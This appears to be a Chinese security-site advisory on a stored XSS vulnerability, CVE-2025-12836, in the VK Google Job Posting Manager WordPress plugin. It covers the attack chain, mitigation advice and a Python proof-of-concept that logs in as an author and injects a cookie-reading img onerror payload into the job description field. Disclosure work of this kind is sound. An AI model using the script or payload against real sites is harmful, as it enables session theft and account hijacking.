IPBUF安全漏洞报告
English
CVE-2025-12836 CVSS 6.4 中危

CVE-2025-12836 WordPress VK Google Job Posting Manager存储型XSS漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2025-12836
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
VK Google Job Posting Manager plugin for WordPress

相关标签

存储型XSSWordPress插件CVE-2025-12836跨站脚本攻击VK Google Job Posting Manager输入验证不足WordPress安全

漏洞概述

CVE-2025-12836是WordPress平台VK Google Job Posting Manager插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于1.2.23及以下版本中,由于插件在处理Job Description(职位描述)字段时未对用户输入进行充分的输入清理和输出转义,导致恶意JavaScript代码可以被存储在数据库中。当其他用户访问包含恶意代码的页面时,注入的脚本将在其浏览器中执行。此漏洞需要攻击者具有作者级别(Author)或更高的WordPress账户权限才能利用。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户、修改页面内容或进行钓鱼攻击。由于该脚本存储在数据库中,恶意代码会持续存在于受影响页面,直到被手动清除或插件更新至修复版本。

技术细节

漏洞根源在于vk-google-job-posting-manager.php文件第419行和第468行附近,插件直接使用用户提交的职位描述数据而未进行适当的sanitization和escape处理。攻击者通过WordPress后台创建或编辑职位发布内容,在Job Description字段中注入恶意JavaScript代码,如<img src=x onerror=alert(document.cookie)>。由于插件使用echo或类似函数直接输出该字段内容而未经过esc_html或esc_attr等WordPress安全函数处理,恶意代码被浏览器解析执行。攻击者需要至少Author角色权限即可访问职位发布功能,WordPress的Author角色通常具有创建和发布文章的权限。该漏洞属于存储型XSS,攻击效果持久且影响范围广泛,所有访问相关页面的用户都会受到攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站作者级别或更高权限的账户
STEP 2
步骤2
攻击者登录WordPress后台,访问VK Google Job Posting Manager插件的职位管理页面
STEP 3
步骤3
攻击者创建或编辑职位信息,在Job Description字段中注入恶意JavaScript代码
STEP 4
步骤4
插件将包含XSS payload的职位数据存储到数据库,未进行输入清理和输出转义
STEP 5
步骤5
当普通用户访问包含该职位信息的页面时,恶意JavaScript代码在用户浏览器中执行
STEP 6
步骤6
攻击者通过注入的脚本窃取用户Cookie、劫持会话或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # CVE-2025-12836 PoC - Stored XSS in VK Google Job Posting Manager # Target: WordPress site with vulnerable VK Google Job Posting Manager plugin (<=1.2.23) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" # Malicious XSS payload XSS_PAYLOAD = '<img src=x onerror=alert(document.cookie)>' def login(): """Authenticate to WordPress and obtain session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) return session if 'wordpress_logged_in' in str(session.cookies) else None def inject_xss(session): """Inject XSS payload into Job Description field""" # Navigate to VK Google Job Posting Manager job creation page create_job_url = f"{TARGET_URL}/wp-admin/admin.php?page=vk-google-job-posting-manager" # Get the page to extract nonce and form data page = session.get(create_job_url) # Extract nonce for the form soup = BeautifulSoup(page.text, 'html.parser') nonce = soup.find('input', {'name': 'vk_google_job_posting_nonce'}) if not nonce: print("[-] Failed to find form nonce") return False nonce_value = nonce.get('value') # Prepare job data with XSS payload in description field job_data = { 'vk_google_job_posting_nonce': nonce_value, 'job_title': 'Test Job Position', 'job_description': XSS_PAYLOAD, # XSS injection point 'job_location': 'Remote', 'action': 'save_job', '_wp_http_referer': create_job_url } response = session.post(create_job_url, data=job_data) return 'success' in response.text.lower() or response.status_code == 200 def main(): print("[*] CVE-2025-12836 PoC - VK Google Job Posting Manager Stored XSS") print("[*] Target:", TARGET_URL) session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") if inject_xss(session): print("[+] XSS payload injected successfully") print("[*] Visit the job page to trigger the XSS") else: print("[-] Failed to inject XSS payload") if __name__ == '__main__': main()

影响范围

VK Google Job Posting Manager <= 1.2.23

防御指南

临时缓解措施
如果无法立即升级插件,可临时禁用VK Google Job Posting Manager插件,或限制Author及以下角色的职位发布功能。同时可在Web应用防火墙(WAF)层面添加XSS过滤规则,对Job Description字段的输入进行检测和拦截。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表